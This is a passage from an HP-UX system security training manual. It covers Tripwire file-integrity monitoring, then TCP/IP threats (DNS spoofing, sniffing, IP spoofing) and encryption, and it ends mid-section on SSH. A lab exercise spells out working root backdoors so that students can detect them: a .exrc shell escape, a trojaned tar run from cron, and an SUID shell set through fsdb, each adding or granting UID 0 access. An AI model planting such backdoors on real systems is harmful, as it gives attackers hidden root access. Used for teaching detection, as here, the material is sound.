 Module 11
How the Hacker Exploits Backdoors

11–10. SLIDE: Identifying Backdoors with Tripwire

Identifying Backdoors with Tripwire

No one will notice if I modify root’s .rhosts file...

unless the administrator runs Tripwire!

• File names
Run Tripwire regularly
• File permissions
to monitor your file systems
• File checksums
for suspicious changes.

Files and Directories Tripwire Database

Student Notes
Setting file permissions properly makes it difficult for hackers to install backdoors on a
system. However, if even a single directory is improperly secured, a hacker may be able to
configure some backdoors. How can you determine if your system files have been modified?

Tripwire is the answer! After initially installing and configuring Tripwire, the administrator
can create a Tripwire database. This database records the file names, permissions, sizes,
time stamps, checksums, and other attributes of selected, critical files and directories on the
system.

At regular intervals thereafter, the administrator can run Tripwire again to compare the
information recorded in the database against the actual contents of the system files and
directories. Tripwire reports any changes that have been made to the file system so the
administrator can investigate why those changes occurred.

http://education.hp.com 11-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

11–11. SLIDE: Creating the Tripwire Configuration File

Creating the Tripwire Configuration File

=/ R
=/home R
=/tmp L
/opt R
/root R
The tw.config file
/sbin R
/stand R tells Tripwire which
/usr R attributes to monitor
/etc R on each file and
/etc/mnttab L directory.
/etc/motd L
/etc/passwd L-i
/etc/rc.log L
/etc/shutdownlog L
/etc/syslog.conf L
/var/adm L

Student Notes
The most important step in the Tripwire configuration process is creating the tw.config
configuration file. Tripwire reads tw.config to determine what attributes to monitor for
each of your files and directories. Each line in the database lists a directory or file name, and
the level of monitoring required for that file or directory. Files and directories may be
identified a number of different ways:

/home Check the specified directory, and everything under it

!/home/user1 Exclude a specified child, and all of its children
=/home Check only the directory itself. Don't traverse any of its children

For each file and directory, then, you may specify what types of checks tripwire should
perform. Tripwire may check any combination of the following file attributes:

p Check the file permissions.

i Check the inode number.
n Check the link count.
u Check the user ID.
g Check the group ID.

H3541S D.02 11-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 11
How the Hacker Exploits Backdoors

s Check the file size.

a Check the time-last-accessed.
m Check the time-last-modified.
c Check the inode change time.
1 Check the file contents via the MD5 digital signature algorithm.
2 Check the file contents via the Snefru digital signature algorithm.
3 Check the file contents via the CRC32 digital signature algorithm.
4 Check the file contents via the CRC16 digital signature algorithm.
5 Check the file contents via the MD4 digital signature algorithm.
6 Check the file contents via the MD2 digital signature algorithm.
7 Check the file contents via the SHA digital signature algorithm.
8 Check the file contents via the Haval digital signature algorithm.

(Note: As you can see in the list above, Tripwire supports numerous digital signature
algorithms to verify your files' contents. Although you could theoretically record all eight
signatures for all of the files on your system, that would take a very long time. Most
administrators just use MD5, and perhaps Snefru. For more information about these
algorithms, see the O'Reilly book, chapter 6.)

Attributes you wish to record in the database should be preceded by a "+" sign. Attributes
you don't wish to record should be preceded by a "-" sign. Consider the following example:

/data +pinugsm12-ac345678 This combination of options records the p, i, n, u, g,

s, m, and checksum 1 and 2 attributes for the /data
file system.

Although Tripwire provides almost infinite flexibility, Tripwire provides abbreviations for the
most common combinations of attributes that administrators typically monitor:

/data L The Logfile option checks permissions, owner, etc. but not the actual file
contents. This is most commonly used for logfiles. It is equivalent to:
+pinug-sacm12345678

/data R The Readonly option checks permissions, owner, size, etc. and the file
contents. This is useful for executables, configuration files, and other files
that should only be changed by the system administrator. This is equivalent
to:
+pinugsm12-ac345678

/data N Ignore Nothing! This option checks every attribute of the specified file -- even
access time stamps! This is rarely useful, unless you have sensitive archive
directories that should very rarely be accessed. This is equivalent to:
+pinugsm12ac345678

/data > This option is intended for monotonically growing log files. It is identical to
"L" above, but also generates a warning if a file's size has been reduced. This
is equivalent to:
+pinug-sacm12345678

http://education.hp.com 11-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

The following is a sample tw.config file for HP-UX 11.11. You will probably want to
modify the file somewhat, depending on the files and directories used by your applications:

# Monitor for new/deleted entries in "/" and "/home".

# However, don't traverse subdirectories as they are
# expected to be dynamic.
=/ R
=/home R

# Only check the permissions and attributes of /tmp.

# Don't check for new/removed files, or the
# contents of those files
=/tmp L

# We want to know if any of root's

# files change in any way
/root R

# The following are executable directories that should

# rarely change
/opt R
/sbin R
/stand R
/usr R

# Tripwire should notify us if any /etc configuration

# files change:
/etc R

# However, we expect some files in /etc

# to change regularly. Only check the permissions
# and other critical attributes on these files.
# Note that we check the /etc/shadow with L since
# users change their passwords frequently.
# If you don’t use /etc/shadow, /etc/passwd should be
# checked using L.
/etc/mnttab L
/etc/motd L
/etc/shadow L
/etc/rc.log L
/etc/rmtab L
/etc/shutdownlog L
/etc/utmp L
/etc/utmpx L

# Some of the common device file directories are included

# here. We don’t want to include the entire /dev directory
# since terminal device files change every time a
# user logs in/out.
/dev/dsk R
/dev/rdsk R

H3541S D.02 11-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 11
How the Hacker Exploits Backdoors

/dev/vg00 R
/dev/rmt R
/dev/kmem R
/dev/mem R
/dev/root R
/dev/rroot R
/dev/null R
/dev/zero R
/dev/random R
/dev/udp R
/dev/tcp R
/dev/arp R
/dev/ip R

# Much of the /var directory contains files that will change

# frequently; thus we will only monitor selected subdirectories,
# and will use “L”. You will need to customize this list.
/var/adm L
/var/spool/cron/crontabs R
/var/yp L

http://education.hp.com 11-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

11–12. SLIDE: Running Tripwire

Running Tripwire

Initialize the Tripwire database.

1
# tripwire -initialize

Update the Tripwire database as necessary.

2
# tripwire -update /etc/inetd.conf
# tripwire -interactive

Run Tripwire in "Integrity Checking Mode" to identify suspect files.

3
# tripwire

Student Notes

Initializing the Tripwire Database

After you create the tw.config configuration file, you can initialize the Tripwire database.
Initializing the database traverses your file systems recording file attributes and checksums
in the Tripwire database. This should be done once, immediately after creating the Tripwire
configuration file.

# ./tripwire -initialize

The Tripwire database and executables must be stored in a secure location. If a hacker were
to gain root access on your system, they could corrupt your system configuration files, then
corrupt the Tripwire database, too! Make a tape or CD backup of the Tripwire database and
directory structure, and store it in a physically secure location.

H3541S D.02 11-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 11
How the Hacker Exploits Backdoors

Updating the Tripwire Database

Installing patches and software, and making other significant changes to the system
configuration will modify many of the files and directories on your system. Anytime you
make legitimate changes to your system configuration, you should update the Tripwire
database.

If you run Tripwire with the -interactive option, Tripwire will generate a list of files and
directories that have changed, then asks the user which database entries should be updated
accordingly. This provides a simple mechanism for synchronizing the database with the
actual file system contents.

# ./tripwire -interactive

Alternatively, if you know exactly which files or directories you modified, you can use the
non-interactive -update option:

# ./tripwire -update /etc/inetd.conf

If -update specifies a file pathname, only that file's database entry is updated. If -update
specifies a directory pathname, then that directory and all of its children are updated in the
database.

Using the Tripwire Integrity Checking Mode to Identify File System Changes
At regular intervals, you should run Tripwire in integrity checking mode to determine if any
of your system files or directories have been modified. Note that you must be in the tcheck
directory for this to work properly!

# ./tripwire

This should generate a report indicating which files and directories have changed. On a large
system, the file checksum/signature checks can take a long time. In order to do a quick
check, consider using one of the following options:

• -1 Skip the MD5 signature check

• -12 Skip both the MD5 and Snefru signature checks
• -all Skip all signature checks (i.e.: only check permissions, etc.)

Two other options may be of interest, too:

• -q Quiet mode -- generates less verbose output.

• -v Verbose mode — generates more verbose output.

http://education.hp.com 11-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

11–13. SLIDE: Contributed versus. Commercial Tripwire

Contributed versus Commercial Tripwire

For large installations, consider the commercial version of Tripwire from Tripwire Inc.

• Pre-compiled for HP-UX, Linux, Solaris, Windows, and other platforms

• More sophisticated config files — including wildcards! — configurable via a GUI interface
• Reports available in text, HTML, or XML via SNMP, syslogd, or email
• Simplified database updates
• Automated incident response capability available
• Designed for enterprise environments
• Enhanced performance
• 24x7 support

For more information, visit http://www.tripwire.com

Student Notes
Tripwire is currently available in two forms.

A free “Academic Source Release” (ASR) version of Tripwire is available from

http://www.tripwire.com. Contrary to the product name, the ASR version can be used
in commercial environments, though there are some usage restrictions. Be sure to read the
license agreement on the website carefully.

A commercial, supported version of is available from http://www.tripwire.com, too.

The commercial version is significantly more sophisticated than the ASR release.
• The commercial version is pre-compiled, and is supported on HP-UX, Linux, Solaris,
Windows, and other platforms. The ASR release requires manual modifications to the
Makefile.

• The commercial version supports a much more sophisticated config file syntax than the
ASR release. For instance, the commercial version supports the use of wildcards in the
configuration file. In the commercial version, the config file is configurable via a GUI
interface.

H3541S D.02 11-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 11
How the Hacker Exploits Backdoors

• The ASR release generates plain text reports. The commercial version can generate text,
HTML, or XML reports. Results may be stored in a file, or may be logged via SNMP,
syslogd, or email. Tripwire alerts can even be monitored via HP Openview!

• In the ASR release, updating the database is cumbersome after installing patches or
updating software. The commercial release simplifies the database update procedure
significantly.

• The ASR release generates a text based report of file changes. The commercial product
includes an automated incident response capability.

• The commercial release is designed explicitly for enterprise environments. From a single
Tripwire Manager host, you can manage and monitor Tripwire installations on up to 2500
clients.

• The commercial version offers significantly enhanced performance compared to the ASR
release.

• Only minimal support is available for the ASR release. 24x7 support agreements are
available for the commercial release.

http://education.hp.com 11-25 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

11–14. LAB: Operating System Backdoors

Part I: Compiling and Installing Tripwire

1. Download a copy of the Tripwire Academic Source Release product from
http://www.tripwire.com/products/tripwire_asr/. For the purposes of the
lab exercise, you can simply copy the source from the /labs/tripwire directory.

# cp /labs/tripwire/Tripwire*.tar.gz /tmp

2. Tripwire must be installed in a secure location. In fact, ideally you should install it on
removable media! For the purposes of the lab exercise, we will install Tripwire in the
/secure file system. Mount /secure, create a subdirectory for Tripwire, and unzip and
untar the source files.

# mount /dev/vg01/secure /secure

# mkdir /secure/tripwire
# cd /secure/tripwire
# gzip –d /tmp/Tripwire*.tar.gz
# tar xvf /tmp/Tripwire*.tar

3. cd to the newly created /secure/tripwire/tw*src directory

# cd /secure/tripwire/tw*src

4. Edit the Makefile and tailor the compilation for HP-UX.

# vi Makefile

change line 13: DESTDIR = /secure/tripwire

change line 14: DATADIR = /secure/tripwire
change line 21: #LEX = lex
change line 22: LEX = flex
change line 24: #YACC = yacc
change line 25: YACC = bison -y
change line 39: #CFLAGS = -O
change line 40: CFLAGS = -g
change line 64: #LDFLAGS = -ldl
change line 83: INSTALL = /usr/local/bin/install

5. Edit the include/config.h file and tailor the compilation for HP-UX.

# vi include/config.h

change line 20: #include “../configs/conf-hpux.h”

change line 106: #define CONFIG_PATH “/secure/tripwire/configs”
change line 107: #define DATABASE_PATH “/secure/tripwire/databases”

H3541S D.02 11-26 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 11
How the Hacker Exploits Backdoors

6. Create the directories referenced above.

# mkdir /secure/tripwire/configs
# mkdir /secure/tripwire/databases

7. Prepare to make the Tripwire executables. For HP-UX, the variable sigvector variable
must be changed (since this variable is already defined in an include file):

# vi src/siggen.c

Change all occurrences of sigvector to sigvector1 by typing:

:1,$s/sigvector/sigvector1/g

Save and exit the file.

8. Compile the Tripwire executables with the make command.

# make

9. Install the tripwire executables.

# make install

http://education.hp.com 11-27 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

Part II: Configuring and Using Tripwire

1. cd to the /secure/tripwire directory. Note that you must be in this directory when
you run tripwire.

# cd /secure/tripwire
Create the Tripwire configuration file as follows:

# cd /secure/tripwire
# vi configs/tw.config
# NOTE: this version of the tw.config file is
# designed for the sake of this lab only.
# in order to save time, important directories
# such as /var and /usr have been left out.
# you will need to modify this file for
# use on your production systems.
/etc R
/etc/rmtab L
/etc/mnttab L
/etc/passwd L-i
/etc/utmp L
/etc/rc.log L
/etc/shutdownlog L
=/tmp L
=/home L
/root R
/root/.sh_history L
/usr/local/bin R
/var/spool/cron/crontabs R

2. Initialize the Tripwire database. This will take several minutes. Be patient!

# cd /secure/tripwire
# ./tripwire –initialize

3. View the Tripwire database.

# cd /secure/tripwire
# more databases/tw.db_$(hostname)

H3541S D.02 11-28 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 11
How the Hacker Exploits Backdoors

Part III: Configuring Backdoors

Now configure and trigger a few backdoors on your system. Later in the lab, we’ll see if
Tripwire recognizes these backdoors.

1. Add a shell escape sequence to ~root/.exrc that adds a UID 0 entry to /etc/passwd.

# vi ~root/.exrc
!(/usr/sbin/useradd –u 0 -o -c “exrc backdoor” hacker1;
/usr/bin/passwd –d hacker1)

When will the hacker gain root access as a result of this backdoor?

Answer:

2. Create a cron job that uses /usr/local/bin/tar to create a tape archive of /home
every day. Even if you don’t have a tape drive, you can still schedule the job to run. For
the sake of our lab exercise, schedule the job to run everyday, 5 minutes from the current
time. Then overwrite the /usr/local/bin/tar executable with some malicious code.

# date note current system time

# crontab –e schedule the job to run in 5 minutes
mm hh * * * /usr/local/bin/tar –c /home
# mv /usr/local/bin/tar /usr/local/bin/tar.bkp
# vi /usr/local/bin/tar
#!/usr/bin/sh
/usr/sbin/useradd –u 0 –o –c “cron backdoor” hacker2
/usr/bin/passwd –d hacker2
# chmod 555 /usr/local/bin/tar

When will the hacker gain root access as a result of this backdoor?

Answer:

http://education.hp.com 11-29 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

3. Create a copy of the POSIX shell in /home/user1, and chown it to root. Then use the
fsdb command to set the file’s SUID bit without using the chmod command.

# cp /usr/bin/sh /home/user1
# chown root /home/user1/sh
# ll –i /home/user1/sh note the file’s inode number
# bdf /home note /home’s logical volume name
# umount /home
# fsdb /dev/vg00/rlvolx use your LV name here
> 333i go to your file’s inode entry
> md=0104555 add the SUID bit to the file’s mode/permissions
> quit quit out of fsdb
# mount /home remount the file system
# ll /home/user1/sh permissions should now be r-sr-xr-x

When will the hacker gain root access as a result of this backdoor?

Answer:

Part IV: Identifying Backdoors with Tripwire

How can we determine if a hacker has planted backdoors on a system? Tripwire can help!

1. Run Tripwire in integrity checking mode. Read the resulting report carefully.

# cd /
# /secure/tripwire/tripwire

2. Did Tripwire recognize that /usr/local/bin/tar changed?

Did Tripwire recognize that /root/.exrc had been created or changed?
Did Tripwire recognize the new shell in /home/user1? Explain!

Answer:

3. By now, your backdoors should have added at least one, and perhaps two new hacker
accounts to the /etc/passwd file. Did Tripwire report these /etc/passwd file
changes? Explain.

Answer:

H3541S D.02 11-30 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 11
How the Hacker Exploits Backdoors

4. Whenever you install new patches or software, or make legitimate changes to the system
configuration, you should update the Tripwire database. How can you non-interactively
update a single file’s entry in the Tripwire database? Comment out the printer line in
/etc/inetd.conf, then do whatever is necessary to update the /etc/inetd.conf
file entry.

# vi /etc/inetd.conf
# inetd –c
# ./tripwire –update /etc/inetd.conf

5. Run Tripwire again in integrity checking mode. Does Tripwire report the change in
/etc/inetd.conf?

# ./tripwire

Answer:

6. If you have made many changes to your system configuration, the non-interactive update
may be tedious. Try running Tripwire in interactive mode, and update a few database
entries if you wish.

# ./tripwire -interactive

Part V: Cleanup
Before continuing on to the next chapter, move the tar executable back to its original
location.

# mv /usr/local/bin/tar.bkp /usr/local/bin/tar

Also restore your system to its original state by running the netfiles script. When asked if
you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

http://education.hp.com 11-31 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

H3541S D.02 11-32 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 12  How the Hacker Exploits TCP/IP
Vulnerabilities
Objectives
Upon completion of this module, you will be able to do the following:
• Explain why TCP/IP networks are vulnerable to network sniffers.

• Explain why TCP/IP networks are vulnerable to IP spoofing

• Explain why TCP/IP networks are vulnerable to DNS server attacks.

• Explain how symmetric key encryption works.

• Explain how public key encryption works.

• Explain how public key authentication works.

• Compare and contrast HP-UX encryption/authentication solutions.

• Configure SSH to encrypt and authenticate remote logins and file transfers.

• Use the ssh, sftp, and scp SSH clients.

http://education.hp.com 12-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–1. SLIDE: Perform Unauthorized Activities: Gain Access to

Other Network Systems

Perform Unauthorized Activities:

Gain Access to Other Network Systems

Step 1 Step 2 Step 3 Step 4

Gather Get to Gain user Perform
information a login access to the unauthorized
about the target prompt system activities
system

UNIX
Login:

Gain access
Perform
Monitor and hide Create to other systems
damaging
system activity backdoors on the network
tasks

Student Notes
Once a hacker has compromised one host on a network, he is likely to use that host to launch
attacks against other hosts on the target's network, too. This chapter discusses some of the
vulnerabilities that are inherent to the design of TCP/IP networks, and some of the solutions
that may be used to overcome those vulnerabilities.

The remaining chapters in the course will discuss some of the network service vulnerabilities
that hackers often exploit.

H3541S D.02 12-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–2. SLIDE: Dangerous Networks

Dangerous Networks

Connecting to a network ...

• Makes it possible to access resources all over the world
• Potentially allows hackers all over the world to access you!

A networked host is
fundamentally more
vulnerable than a
standalone host.

Student Notes
Networks, and specifically the Internet, have dramatically changed the way people live and
how companies do business. Networks allow people all over the world to share files, data,
and other information easily and quickly.

Unfortunately, easy access is a double-edged sword. While it allows co-workers and friends
to easily share information and resources, it also allows unauthorized strangers and hackers
to gain access to these same resources. Many individuals, companies, and major institutions
have been victims of attacks perpetrated by hackers that gained access to target systems via
the Internet.

While networks have opened many new opportunities, they have also opened up systems to
many risks. A networked host is fundamentally more vulnerable than a non-networked host.

This module looks at some of the risks, and offers some solutions for minimizing those risks.

http://education.hp.com 12-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–3. SLIDE: TCP/IP Overview

TCP/IP Overview

DNS Server
How might a hacker
This packet
intercept or modify
came from
data passing between
128.1.1.1.
two network hosts?

corp.hp.com? 15.1.1.1

sourceIP:128.1.1.1
targetIP: 15.1.1.1
...root password...

# telnet corp.hp.com corp.hp.com

Internet 15.1.1.1

Student Notes
The slide above shows how data is sent across a TCP/IP network.
1. On the workstation, a user initiates a telnet session to server corp.hp.com.

2. The workstation must resolve hostname corp.hp.com to an IP address. To do this, the

workstation sends a hostname lookup query to a DNS name server.

3. The request is received by the DNS server, the server looks up the hostname, and reports
that corp.hp.com's IP address is 15.1.1.1.

4. Upon receiving the IP address, the workstation sends the data across the network to IP
address 15.1.1.1.

5. corp.hp.com receives the packet of data, and checks the source IP address to
determine where the data came from. If the target service is an inetd service, inetd
checks /var/adm/inetd.sec to determine whether the workstation’s IP address
should be granted access to the requested service. If so, the connection is established.

H3541S D.02 12-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

In the above scenario, what are some of the ways a hacker could compromise the transfer of
sensitive data to the corp.hp.com system?
• Could the hacker read the packets of data off the network as they travel from the
workstation to the corporate system? YES!

• Could the hacker compromise data on the DNS server or simply spoof it's IP address such
that the hostname lookup would have resolved to an incorrect IP address (like the IP
address of the hacker's system)? YES!

• Could the hacker disguise his system to look like the corp.hp.com system (by changing
his IP address), so that when the sensitive data is transferred it is sent to the hacker’s
system as opposed to the real corporate system? YES!
A hacker could potentially gain unauthorized access to hosts on your network using any one
of the above approaches. This chapter explores these dangers in more detail, and offers
some possible solutions.

http://education.hp.com 12-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–4. SLIDE: Danger: Bogus DNS Responses

Danger: Bogus DNS Responses

DNS is a notoriously vulnerable

piece of the Internet infrastructure!

If I can compromise the DNS

server, then I can trick all the
The real The
hosts in the domain into
target.com hacker’s
believing that I’m target.com.
128.1.1.1 target.com
192.1.1.1

What is target.com’s IP address?

t!
rup
Answer: 192.1.1.1 (Ha! Ha Ha!) Cor
# telnet target.com DNS server

Student Notes
DNS name servers are prime targets for hackers. Because many nodes on a network
reference DNS servers for hostname-to-IP address resolution (and vice-versa), hackers know
that if they can gain access to a target organization’s DNS server, then they can jeopardize the
security of every system on the target’s network.

The example on the slide demonstrates how hackers can exploit DNS. After gaining
unauthorized access to the DNS server, the hacker falsifies the DNS records to indicate that the
IP address for target.com is 192.1.1.1 (changed from the real address of 128.1.1.1). As a result,
when any nodes on the network looks up the address of target.com through the DNS server,
they will receive the address of the hacker’s machine rather than the real address of
target.com. The hacker then replaces the telnetd program on his system with a spoofed
version of telnetd which collects logins/passwords as clients try to telnet into his system.

There are many variations on the attack described above. Sometimes, hackers set their IP
address to match that of a legitimate secondary DNS server, perform a “DNS zone data
transfer”, modify/falsify the zone data, and then masquerade as a DNS server to clients.

DNS is a notoriously vulnerable component of the Internet infrastructure.

H3541S D.02 12-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–5. SLIDE: Danger: Network Sniffers

Danger: Network Sniffers

Network sniffers ...

• May be attached to any available LAN port
• May be run on any PC or UNIX station
• Allow the user to view all passing packets

I’ll use a network

sniffer to eavesdrop on
all passing packets.

Cleartext telnet
usernames and passwords.

Student Notes
Network sniffers allow hackers to eavesdrop on packets passing across a network. Sniffers
exploit the fact that Ethernet networks use a broadcast mechanism that allows every host to
view every packet on the network -- including packets destined for other hosts! Thus, if a
hacker were able to attach a sniffer to an open LAN port on your network, he could
potentially capture usernames, passwords, and other useful tidbits of information that
network services like telnet and ftp transmit in cleartext.

Sniffers are easy to use, and are widely available. HP-UX includes the simple nettl sniffer
for monitoring and troubleshooting network problems. The freely available dsniff sniffer
provides even more power for hackers -- it automatically extracts usernames and passwords
sent by telnet, ftp, rlogin and many other unsecure network services!

At one time, it was thought that network switches provided an antidote to the dangers of
network sniffing that have always plagued networks that were wired via hubs. However,
tools are now available that even allow hackers to sniff packets on switched networks!

http://education.hp.com 12-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–6. SLIDE: Danger: IP Spoofing

Danger: IP Spoofing

Never trust an incoming

packet’s source IP address!

I’ll masquerade as 128.1.1.1. The

IP: 128.1.1.1
server will never know my true identity!

~root/.rhosts 128.1.1.1 is trying to

128.1.1.1 rlogin. Since his IP
is in my .rhosts file,
I’ll let him in without
a password.

Student Notes
When a network application receives a packet from a client system, most network services
determine the origin of the packet by simply checking the packet's source IP address. The
source IP address is then used to determine if service should be provided to a client. inetd,
NFS, and NIS all authenticate their clients based on the client's source IP address. The
Berkeley Services (rlogin, rcp, and remsh) even grant password-free root access based on
a client's IP address!

Unfortunately, source IP addresses are a notoriously unreliable mechanism for determining a

packet's origin. Consider the example on the slide. The server in the graphic has a .rhosts
file that allows password-free root access to the host with IP address 128.1.1.1. The hacker
recognizes this vulnerability, changes his IP address to 128.1.1.1, and sends an rlogin
request to the server. The server assumes that the request came from the "real" target.com at
128.1.1.1 and grants password-free root access to the hacker host!

Truly secure network services never use source IP addresses to authenticate clients or
servers.

H3541S D.02 12-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–7. SLIDE: Solution: Secure Your Network Infrastructure

Solution: Secure your Network Infrastructure

Keep your network devices in a locked room.

Never enable LAN ports in public areas.

Lock down your DNS servers.

Configure firewalls between your internal/external networks.

Consider configuring firewalls between internal networks, too.

Use encryption to avoid the danger of network sniffers.

Use key-based authentication to avoid the dangers of IP spoofing.

Student Notes
The slide highlights several basic steps you can take to minimize the dangers posed by
sniffers, spoofing, and corrupted DNS servers.
• Keep your network devices in a locked room

• Never enable LAN ports in public areas

• Lock down your DNS servers

• Configure firewalls between your internal and external networks

• Consider configuring firewalls between internal networks, too

• Use encryption to avoid the danger of network sniffers

• Use key-based authentication to avoid the dangers of IP spoofing

The remainder of this chapter discusses a few HP-UX encryption and authentication
solutions.

http://education.hp.com 12-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–8. SLIDE: Solution: Use Symmetric Key Encryption

Solution: Use Symmetric Key Encryption

Encryption Key

Symmetric Key Symmetric Key

Cleartext Encrypted Cleartext
Encryption Decryption
Data Data Data
Algorithm Algorithm

Sender Receiver

Student Notes
Encrypting network traffic ensures that even if a hacker were able to intercept an encrypted
packet, the hacker would be unable to read the data!

There are two common approaches to data encryption. The example on this slide
demonstrates "Symmetric Key", or "Shared Key" encryption. Symmetric key encryption
schemes use a single encryption key to encrypt data on the sending, and to decrypt the data
on the receiving node. The encrypted data is only intelligible to the two hosts that possess
the encryption key.

The challenge, then, is to devise a secure mechanism to distribute the key to both hosts! If a
hacker were able to surreptitiously obtain a copy of the key, the hacker could read all the
data passing between the two hosts!

H3541S D.02 12-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–9. SLIDE: Solution: Use Public Key Encryption

Solution: Use Public Key Encryption

Receiver's Public Key Receiver's Private Key

Public Key Public Key

Cleartext Encrypted Cleartext
Encryption Decryption
Data Data Data
Algorithm Algorithm

Sender Receiver

Student Notes
Asymmetric key encryption, commonly known as "Public Key Encryption", takes a different
approach to data encryption. Each host that participates in a public key encryption scheme
generates two mathematically linked keys. Each host's "public" key is made freely available
to other hosts. A host's private key, however, is not shared with other hosts. Data encrypted
using the public key may only be decrypted by host’s possessing the associated private key,
and vice versa.

The example on the slide demonstrates how these keys may be used to send data securely
across a network. The sender on the slide wishes to send a packet of data to the receiver. In
order to protect the data while it is traversing the network, the sender encrypts the data using
the receiver's freely available public key. Since the receiver is the only host that possesses
the private key required to decrypt the packet, the packet data is only readable by the
receiver.

Public key encryption greatly simplifies key management. Hosts may freely publish their
public keys via a web site, or any other convenient mechanism. As long as a host's private
key remains secure, the host's data remains secure, too.

http://education.hp.com 12-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

Unfortunately, the mathematical algorithms that are used implement public key encryption
are very complex. Using public key encryption to encrypt every packet would place an
enormous burden on your CPU. Symmetric key encryption, on the other hand, is much less
resource intensive.

As a result, most encryption schemes today use a hybrid approach. Public key encryption
may be used initially to exchange symmetric keys between two hosts. After exchanging keys,
the hosts may use symmetric key encryption to encrypt the remainder of the session.

H3541S D.02 12-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–10. SLIDE: Solution: Use Public Key Authentication

Solution: Use Public Key Authentication

Sender's Private Key Sender's Public Key

Public Key Public Key

Encrypted Sender's Hash
Encryption Decryption
Sender's Hash of Data
Algorithm Algorithm

Sender's If the hash sent by the sender

Receiver
Sender

Hash matches the hash computed by

the receiver, then the
Hash
data must be valid!
Algorithm

Data Hash Receiver's Hash

Algorithm of Data

Student Notes
Public Key Authentication provides one solution to the IP spoofing problem. You learned
earlier in the chapter that data encrypted with a host's public key may only be decrypted by
hosts possessing the associated private key. An algorithm may also be constructed such that
data encrypted using a host's private key may be decrypted using the host's public key.
Public key authentication is based on this fact.

Consider the example on the slide. The sending host wishes to send data to the receiver,
such that the receiver can authenticate the data's source. First, the sender passes the data
through an algorithm that results in a fixed length numeric "hash". This hash value is
encrypted using the sender's private key. The sender passes the resulting encrypted hash,
along with the data, to the receiving host.

The receiving host decrypts the sender's encrypted hash using the sender's public key. Then,
the receiving host calculates his own hash of the received data, using the same hashing
algorithm that was used on the sending host. If the decrypted hash received from the sender
matches the hash calculated by the receiver, the data must be legitimate.

http://education.hp.com 12-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

Although anyone can compute a hash value for a packet of data, only the legitimate host that
possesses the private key is capable of encrypting the hash in such a way that the host's
public key would successfully decrypt the encrypted hash.

Most encryption/authentication solutions today use some variation of this authentication

scheme.

H3541S D.02 12-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–11. SLIDE: Solution: HP-UX Encryption and Authentication

Product Comparison

HP-UX Encryption and Authentication

Product Comparison

Solution Description

PGP / GPG • Encrypts and authenticates files and emails

(www.gnupg.org) • Must be manually compiled, but is easy to configure

SSH • Primarily encrypts and authenticates remote login / file

(www.software.hp.com) transfers
• Fairly easy to configure
IPSec • Encrypts and authenticates any TCP/IP traffic
(www.software.hp.com) • More difficult to configure

Kerberos • Encrypts and authenticates users, sessions, hosts, and clients

(www.software.hp.com) • Most difficult to configure

All four solutions are based on well-known standards and are available on multiple platforms

Student Notes
Several different encryption and authentication solutions are available for HP-UX today.

Pretty Good Privacy (PGP) / Gnu Privacy Guard (GPG)

PGP is a commercial product available from http://www.pgp.com . It is used primarily to
encrypt and digitally “sign” files and email messages. Gnu Privacy Guard, a free product
supporting similar functionality, may be downloaded and compiled from
http://www.gpg.org. Both products are very easy to use. Documentation is available on
the GPG website. Note, however, that these products can’t encrypt or authenticate sessions
or logins; they only encrypt/authenticate sensitive files and email messages.

http://education.hp.com 12-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

Secure Shell (SSH)

The SSH protocol is an IETF standard that has been implemented as a commercial product
from http://www.ssh.com, and as open source software from
